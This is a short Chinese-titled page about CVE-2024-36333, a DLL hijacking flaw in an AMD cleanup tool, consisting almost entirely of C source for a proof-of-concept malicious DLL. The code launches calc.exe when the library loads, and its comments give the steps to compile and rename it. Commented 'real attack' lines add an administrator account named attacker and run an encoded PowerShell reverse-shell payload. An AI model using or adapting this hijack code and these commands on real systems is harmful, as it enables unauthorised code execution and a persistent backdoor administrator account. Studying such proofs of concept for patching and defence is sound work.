CVE-2024-36333 AMD清理工具DLL劫持漏洞

#include <windows.h> #include <stdlib.h> // PoC for DLL Hijacking vulnerability // Compile this code as a shared library (DLL) and rename it to the vulnerable DLL expected by the application. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code runs when the DLL is loaded into the process // Example: Execute a calculator to demonstrate arbitrary code execution system("calc.exe"); // In a real attack scenario, this could be: // system("cmd.exe /c net user attacker P@ssw0rd /add"); // system("cmd.exe /c net localgroup administrators attacker /add"); // Or reverse shell via PowerShell // system("powershell -e <Base64EncodedPayload>"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }